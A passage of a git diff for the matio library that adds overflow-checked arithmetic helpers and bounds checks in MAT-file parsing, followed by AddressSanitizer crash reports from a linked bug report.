+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(size_t, size, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(size_t, size, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(size_t, size, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H)
+PSNIP_SAFE_DEFINE_INTSAFE(size_t, size, add, SizeTAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(size_t, size, sub, SizeTSub)
+PSNIP_SAFE_DEFINE_INTSAFE(size_t, size, mul, SizeTMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_SIZE)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(size_t, size, add, PSNIP_SAFE__SIZE_MAX_RT)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(size_t, size, sub, PSNIP_SAFE__SIZE_MAX_RT)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(size_t, size, mul, PSNIP_SAFE__SIZE_MAX_RT)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(size_t, size, PSNIP_SAFE__SIZE_MAX_RT)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(size_t, size, PSNIP_SAFE__SIZE_MAX_RT)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(size_t, size, PSNIP_SAFE__SIZE_MAX_RT)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(size_t, size, PSNIP_SAFE__SIZE_MAX_RT)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(size_t, size, PSNIP_SAFE__SIZE_MAX_RT)
+
+#if !defined(PSNIP_SAFE_NO_FIXED)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int8_t, int8, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int8_t, int8, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int8_t, int8, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_INT8)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int8_t, int8, add, (-0x7fLL-1), 0x7f)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int8_t, int8, sub, (-0x7fLL-1), 0x7f)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int8_t, int8, mul, (-0x7fLL-1), 0x7f)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(psnip_int8_t, int8, (-0x7fLL-1), 0x7f)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(psnip_int8_t, int8, (-0x7fLL-1), 0x7f)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(psnip_int8_t, int8, (-0x7fLL-1), 0x7f)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(psnip_int8_t, int8, (-0x7fLL-1), 0x7f)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(psnip_int8_t, int8, (-0x7fLL-1), 0x7f)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(psnip_int8_t, int8, (-0x7fLL-1), 0x7f)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint8_t, uint8, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint8_t, uint8, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint8_t, uint8, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_UINT8)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint8_t, uint8, add, 0xff)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint8_t, uint8, sub, 0xff)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint8_t, uint8, mul, 0xff)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(psnip_uint8_t, uint8, 0xff)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(psnip_uint8_t, uint8, 0xff)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(psnip_uint8_t, uint8, 0xff)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(psnip_uint8_t, uint8, 0xff)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(psnip_uint8_t, uint8, 0xff)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int16_t, int16, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int16_t, int16, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int16_t, int16, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_INT16)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int16_t, int16, add, (-32767-1), 0x7fff)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int16_t, int16, sub, (-32767-1), 0x7fff)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int16_t, int16, mul, (-32767-1), 0x7fff)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(psnip_int16_t, int16, (-32767-1), 0x7fff)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(psnip_int16_t, int16, (-32767-1), 0x7fff)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(psnip_int16_t, int16, (-32767-1), 0x7fff)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(psnip_int16_t, int16, (-32767-1), 0x7fff)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(psnip_int16_t, int16, (-32767-1), 0x7fff)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(psnip_int16_t, int16, (-32767-1), 0x7fff)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint16_t, uint16, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint16_t, uint16, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint16_t, uint16, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H) && defined(_WIN32)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint16_t, uint16, add, UShortAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint16_t, uint16, sub, UShortSub)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint16_t, uint16, mul, UShortMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_UINT16)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint16_t, uint16, add, 0xffff)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint16_t, uint16, sub, 0xffff)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint16_t, uint16, mul, 0xffff)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(psnip_uint16_t, uint16, 0xffff)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(psnip_uint16_t, uint16, 0xffff)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(psnip_uint16_t, uint16, 0xffff)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(psnip_uint16_t, uint16, 0xffff)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(psnip_uint16_t, uint16, 0xffff)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int32_t, int32, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int32_t, int32, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int32_t, int32, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_INT32)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int32_t, int32, add, (-0x7fffffffLL-1), 0x7fffffffLL)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int32_t, int32, sub, (-0x7fffffffLL-1), 0x7fffffffLL)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int32_t, int32, mul, (-0x7fffffffLL-1), 0x7fffffffLL)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(psnip_int32_t, int32, (-0x7fffffffLL-1), 0x7fffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(psnip_int32_t, int32, (-0x7fffffffLL-1), 0x7fffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(psnip_int32_t, int32, (-0x7fffffffLL-1), 0x7fffffffLL)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(psnip_int32_t, int32, (-0x7fffffffLL-1), 0x7fffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(psnip_int32_t, int32, (-0x7fffffffLL-1), 0x7fffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(psnip_int32_t, int32, (-0x7fffffffLL-1), 0x7fffffffLL)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint32_t, uint32, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint32_t, uint32, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint32_t, uint32, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H) && defined(_WIN32)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint32_t, uint32, add, UIntAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint32_t, uint32, sub, UIntSub)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint32_t, uint32, mul, UIntMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_UINT32)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint32_t, uint32, add, 0xffffffffUL)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint32_t, uint32, sub, 0xffffffffUL)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint32_t, uint32, mul, 0xffffffffUL)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(psnip_uint32_t, uint32, 0xffffffffUL)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(psnip_uint32_t, uint32, 0xffffffffUL)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(psnip_uint32_t, uint32, 0xffffffffUL)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(psnip_uint32_t, uint32, 0xffffffffUL)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(psnip_uint32_t, uint32, 0xffffffffUL)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int64_t, int64, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int64_t, int64, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_int64_t, int64, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_INT64)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int64_t, int64, add, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int64_t, int64, sub, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(psnip_int64_t, int64, mul, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(psnip_int64_t, int64, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(psnip_int64_t, int64, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(psnip_int64_t, int64, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(psnip_int64_t, int64, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(psnip_int64_t, int64, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(psnip_int64_t, int64, (-0x7fffffffffffffffLL-1), 0x7fffffffffffffffLL)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint64_t, uint64, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint64_t, uint64, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(psnip_uint64_t, uint64, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H) && defined(_WIN32)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint64_t, uint64, add, ULongLongAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint64_t, uint64, sub, ULongLongSub)
+PSNIP_SAFE_DEFINE_INTSAFE(psnip_uint64_t, uint64, mul, ULongLongMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_UINT64)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint64_t, uint64, add, 0xffffffffffffffffULL)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint64_t, uint64, sub, 0xffffffffffffffffULL)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(psnip_uint64_t, uint64, mul, 0xffffffffffffffffULL)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(psnip_uint64_t, uint64, 0xffffffffffffffffULL)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(psnip_uint64_t, uint64, 0xffffffffffffffffULL)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(psnip_uint64_t, uint64, 0xffffffffffffffffULL)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(psnip_uint64_t, uint64, 0xffffffffffffffffULL)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(psnip_uint64_t, uint64, 0xffffffffffffffffULL)
+
+#endif /* !defined(PSNIP_SAFE_NO_FIXED) */
+
+#define PSNIP_SAFE_C11_GENERIC_SELECTION(res, op) \
+ _Generic((*res), \
+ char: psnip_safe_char_##op, \
+ unsigned char: psnip_safe_uchar_##op, \
+ short: psnip_safe_short_##op, \
+ unsigned short: psnip_safe_ushort_##op, \
+ int: psnip_safe_int_##op, \
+ unsigned int: psnip_safe_uint_##op, \
+ long: psnip_safe_long_##op, \
+ unsigned long: psnip_safe_ulong_##op, \
+ long long: psnip_safe_llong_##op, \
+ unsigned long long: psnip_safe_ullong_##op)
+
+#define PSNIP_SAFE_C11_GENERIC_BINARY_OP(op, res, a, b) \
+ PSNIP_SAFE_C11_GENERIC_SELECTION(res, op)(res, a, b)
+#define PSNIP_SAFE_C11_GENERIC_UNARY_OP(op, res, v) \
+ PSNIP_SAFE_C11_GENERIC_SELECTION(res, op)(res, v)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+#define psnip_safe_add(res, a, b) !__builtin_add_overflow(a, b, res)
+#define psnip_safe_sub(res, a, b) !__builtin_sub_overflow(a, b, res)
+#define psnip_safe_mul(res, a, b) !__builtin_mul_overflow(a, b, res)
+#define psnip_safe_div(res, a, b) !__builtin_div_overflow(a, b, res)
+#define psnip_safe_mod(res, a, b) !__builtin_mod_overflow(a, b, res)
+#define psnip_safe_neg(res, v) PSNIP_SAFE_C11_GENERIC_UNARY_OP (neg, res, v)
+
+#elif defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 201112L)
+/* The are no fixed-length or size selections because they cause an
+ * error about _Generic specifying two compatible types. Hopefully
+ * this doesn't cause problems on exotic platforms, but if it does
+ * please let me know and I'll try to figure something out. */
+
+#define psnip_safe_add(res, a, b) PSNIP_SAFE_C11_GENERIC_BINARY_OP(add, res, a, b)
+#define psnip_safe_sub(res, a, b) PSNIP_SAFE_C11_GENERIC_BINARY_OP(sub, res, a, b)
+#define psnip_safe_mul(res, a, b) PSNIP_SAFE_C11_GENERIC_BINARY_OP(mul, res, a, b)
+#define psnip_safe_div(res, a, b) PSNIP_SAFE_C11_GENERIC_BINARY_OP(div, res, a, b)
+#define psnip_safe_mod(res, a, b) PSNIP_SAFE_C11_GENERIC_BINARY_OP(mod, res, a, b)
+#define psnip_safe_neg(res, v) PSNIP_SAFE_C11_GENERIC_UNARY_OP (neg, res, v)
+#endif
+
+#if !defined(PSNIP_SAFE_HAVE_BUILTINS) && (defined(PSNIP_SAFE_EMULATE_NATIVE) || defined(PSNIP_BUILTIN_EMULATE_NATIVE))
+# define __builtin_sadd_overflow(a, b, res) psnip_safe_int_add(res, a, b)
+# define __builtin_saddl_overflow(a, b, res) psnip_safe_long_add(res, a, b)
+# define __builtin_saddll_overflow(a, b, res) psnip_safe_llong_add(res, a, b)
+# define __builtin_uadd_overflow(a, b, res) psnip_safe_uint_add(res, a, b)
+# define __builtin_uaddl_overflow(a, b, res) psnip_safe_ulong_add(res, a, b)
+# define __builtin_uaddll_overflow(a, b, res) psnip_safe_ullong_add(res, a, b)
+
+# define __builtin_ssub_overflow(a, b, res) psnip_safe_int_sub(res, a, b)
+# define __builtin_ssubl_overflow(a, b, res) psnip_safe_long_sub(res, a, b)
+# define __builtin_ssubll_overflow(a, b, res) psnip_safe_llong_sub(res, a, b)
+# define __builtin_usub_overflow(a, b, res) psnip_safe_uint_sub(res, a, b)
+# define __builtin_usubl_overflow(a, b, res) psnip_safe_ulong_sub(res, a, b)
+# define __builtin_usubll_overflow(a, b, res) psnip_safe_ullong_sub(res, a, b)
+
+# define __builtin_smul_overflow(a, b, res) psnip_safe_int_mul(res, a, b)
+# define __builtin_smull_overflow(a, b, res) psnip_safe_long_mul(res, a, b)
+# define __builtin_smulll_overflow(a, b, res) psnip_safe_llong_mul(res, a, b)
+# define __builtin_umul_overflow(a, b, res) psnip_safe_uint_mul(res, a, b)
+# define __builtin_umull_overflow(a, b, res) psnip_safe_ulong_mul(res, a, b)
+# define __builtin_umulll_overflow(a, b, res) psnip_safe_ullong_mul(res, a, b)
+#endif
+
+#endif /* !defined(PSNIP_SAFE_H) */
diff --git a/visual_studio/libmatio/libmatio.vcproj b/visual_studio/libmatio/libmatio.vcproj
index 2c942708..fb263a10 100644
--- a/visual_studio/libmatio/libmatio.vcproj
+++ b/visual_studio/libmatio/libmatio.vcproj
@@ -392,6 +392,10 @@
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
+ <File
+ RelativePath="..\..\src\exact-int.h"
+ >
+ </File>
<File
RelativePath="..\..\src\mat4.h"
>
@@ -420,6 +424,10 @@
RelativePath="..\matioConfig.h"
>
</File>
+ <File
+ RelativePath="..\..\src\safe-math.h"
+ >
+ </File>
</Filter>
<Filter
Name="Resource Files"
diff --git a/visual_studio/libmatio/libmatio.vcxproj b/visual_studio/libmatio/libmatio.vcxproj
index 4ec1c5f3..b86f68f1 100644
--- a/visual_studio/libmatio/libmatio.vcxproj
+++ b/visual_studio/libmatio/libmatio.vcxproj
@@ -290,11 +290,13 @@
<ClCompile Include="..\..\src\snprintf.c" />
</ItemGroup>
<ItemGroup>
+ <ClInclude Include="..\..\src\exact-int.h" />
<ClInclude Include="..\..\src\mat4.h" />
<ClInclude Include="..\..\src\mat5.h" />
<ClInclude Include="..\..\src\mat73.h" />
<ClInclude Include="..\..\src\matio.h" />
<ClInclude Include="..\..\src\matio_private.h" />
+ <ClInclude Include="..\..\src\safe-math.h" />
<ClInclude Include="..\matio_pubconf.h" />
<ClInclude Include="..\matioConfig.h" />
</ItemGroup>
diff --git a/visual_studio/libmatio/libmatio.vcxproj.filters b/visual_studio/libmatio/libmatio.vcxproj.filters
index 4cd918cb..d38e7aec 100644
--- a/visual_studio/libmatio/libmatio.vcxproj.filters
+++ b/visual_studio/libmatio/libmatio.vcxproj.filters
@@ -50,6 +50,9 @@
</ClCompile>
</ItemGroup>
<ItemGroup>
+ <ClInclude Include="..\..\src\exact-int.h">
+ <Filter>Header Files</Filter>
+ </ClInclude>
<ClInclude Include="..\..\src\mat4.h">
<Filter>Header Files</Filter>
</ClInclude>
@@ -71,6 +74,9 @@
<ClInclude Include="..\matioConfig.h">
<Filter>Header Files</Filter>
</ClInclude>
+ <ClInclude Include="..\..\src\safe-math.h">
+ <Filter>Header Files</Filter>
+ </ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="..\matio.def">
diff --git a/src/mat.c b/src/mat.c
index 291d9429..414799e3 100644
--- a/src/mat.c
+++ b/src/mat.c
@@ -1477,9 +1477,13 @@ Mat_VarFree(matvar_t *matvar)
}
}
break;
+ case MAT_C_FUNCTION:
+ if ( !matvar->mem_conserve ) {
+ free(matvar->data);
+ }
+ break;
case MAT_C_EMPTY:
case MAT_C_OBJECT:
- case MAT_C_FUNCTION:
case MAT_C_OPAQUE:
break;
}
diff --git a/src/mat5.c b/src/mat5.c
index f2761afe..07687e09 100644
--- a/src/mat5.c
+++ b/src/mat5.c
@@ -2686,6 +2686,13 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
if ( 0 == matvar->nbytes ) {
break;
}
+ {
+ size_t nbytes;
+ err = SafeMul(&nbytes, nelems, matvar->data_size);
+ if ( err || nbytes > matvar->nbytes ) {
+ break;
+ }
+ }
if ( matvar->compression == MAT_COMPRESSION_NONE ) {
nBytes = ReadCharData(mat,(char*)matvar->data,packed_type,(int)nelems);
/*
| https://github.com/tbeu/matio/issues/103 | ==29570==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x7f5b9c14f9fe bp 0x7ffca66d34a0 sp 0x7ffca66d34
WRITE of size 8 at 0x60200000efd0 thread T0
#0 0x7f5b9c14f9fd in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd)
#1 0x562dd8c1c9b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#2 0x7f5b9b7f32e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#3 0x562dd8c1d249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x7f5b9c42dd28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7f5b9c14ef7a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbef7a)
#2 0x7f5b9c1634a7 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd34a7)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) in Mat_VarReadNextInfo5
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29570==ABORTING
==14602==WARNING: AddressSanitizer failed to allocate 0x4098900aa0000000 bytes
==14602==AddressSanitizer's allocator is terminating the process instead of returning 0
==14602==If you don't like this behavior set allocator_may_return_null=1
==14602==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:145 "((0)) != (0)" (0x0, 0x0)
#0 0x7f04a03f5ebd (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcaebd)
#1 0x7f04a03fbb13 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xd0b13)
#2 0x7f04a03f9cd6 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcecd6)
#3 0x7f04a0350144 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x25144)
#4 0x7f04a03ecd05 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d05)
#5 0x7f04a010d70f in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbe70f)
#6 0x55c2c84699b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#7 0x7f04a049f7b22e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#8 0x55c2c846a249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
==14285==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x7fb2691fed28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7fb268f1f1e2 in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf1e2)
#2 0x7fb268f340af (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd40af)
SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s).
==17501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a739 at pc 0x7fb9549d7f7f bp 0x7ffcfb664400 sp 0x7ffcfb663bb0
READ of size 64 at 0x60200000a739 thread T0
#0 0x7fb9549d7f7e (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
#1 0x7fb953f14238 in inflate (/lib/x86_64-linux-gnu/libz.so.1+0xa238)
#2 0x7fb954699abb in InflateData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xdabb)
#3 0x7fb9546c3184 in ReadCompressedCharData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0x37184)
#4 0x7fb9547436fd in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb76fd)
#5 0x7fb95474804f in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc04f)
#6 0x7fb95474e53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#7 0x55625cfea9c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#8 0x7fb9538872e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#9 0x55625cfeb259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
0x60200000a739 is located 0 bytes to the right of 9-byte region [0x60200000a730,0x60200000a739)
allocated by thread T0 here:
#0 0x7fb954a3ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
#1 0x7fb954740187 in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb4187)
#2 0x7fb95476ea4f (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xe2a4f)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
Shadow bytes around the buggy address:
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
